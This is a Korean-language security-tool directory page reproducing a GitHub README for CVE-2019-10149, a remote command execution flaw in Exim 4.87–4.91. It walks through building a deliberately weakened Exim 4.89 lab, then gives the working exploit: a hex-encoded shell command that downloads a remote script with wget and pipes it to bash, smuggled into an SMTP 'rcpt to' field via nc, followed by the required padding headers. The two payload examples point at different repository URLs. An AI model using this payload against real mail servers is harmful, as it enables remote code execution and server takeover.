Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/hyim0810/cve-2019-10149
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & EducationLabs & Practice
GitHubhyim0810/cve-2019-10149

CVE-2019-10149

CVE-2019-10149

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-10149 - Exim 4.87 < 4.91

취약한 버전의 Exim 설치 및 익스플로잇 방법 Linux Ubuntu 16.04, Exim 4.89에서 테스트됨

Exim 설치

Exim 4.89 다운로드 및 압축 해제

  • wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

압축 해제된 폴더로 이동

  • cd exim-4.89/

필요한 설정 파일 복사 및 수정

  • sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

  • cp exim_monitor/EDITME Local/eximon.conf

exim 사용자 및 그룹 생성

  • sudo groupadd -g 31 exim

  • sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

의존성 설치

  • sudo apt-get update
  • sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

Exim 4.89 설치

  • sudo make install

/usr/exim/configure 편집: 7일을 기다리지 않고 익스플로잇할 수 있도록 릴레이 허용

  • sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
  • sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
  • sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

exim 사용자로 exim 실행

  • sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

익스플로잇 제작

쉘 명령어를 16진수로 변환. 예:

  • /bin/sh -c “wget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash
  • \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fhyim0810\x2FCVE\x2D2019\x2D10149\x2Fmain\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

예제 표:

  • \t-c\ = -c
  • \t= space
  • x20 = space
  • x7C = |
  • x2F = /
  • x3A = :
  • x2D = -
  • x3E = >
  • x26 = &
  • x22 = "
  • x2E = .

익스플로잇 사용법

먼저 nc를 사용하여 서버에 연결합니다.

  • nc 192.168.0.168 25

연결되면 HELO를 보냅니다.

  • helo localhost
  • (응답: 250 Exim Hello localhost [192.168.0.168])

다음으로, 발신자 주소를 비워둡니다.

  • mail from:<>
  • (응답: 250 OK)

그런 다음 이전에 만든 페이로드를 사용하여 수신자 주소를 설정합니다. 줄임표 부분에 원하는 명령어를 삽입합니다: rcpt to:${run{...}}@localhost.

  • rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
  • (응답: 250 Accepted)

마지막으로, DATA를 입력한 후 31개의 줄, 빈 줄, 마침표를 입력합니다.

  • DATA
  • Received: 1
  • Received: 2
  • Received: 3
  • Received: 4
  • Received: 5
  • Received: 6
  • Received: 7
  • Received: 8
  • Received: 9
  • Received: 10
  • Received: 11
  • Received: 12
  • Received: 13
  • Received: 14
  • Received: 15
  • Received: 16
  • Received: 17
  • Received: 18
  • Received: 19
  • Received: 20
  • Received: 21
  • Received: 22
  • Received: 23
  • Received: 24
  • Received: 25
  • Received: 26
  • Received: 27
  • Received: 28
  • Received: 29
  • Received: 30
  • Received: 31
  • .
도구 다운로드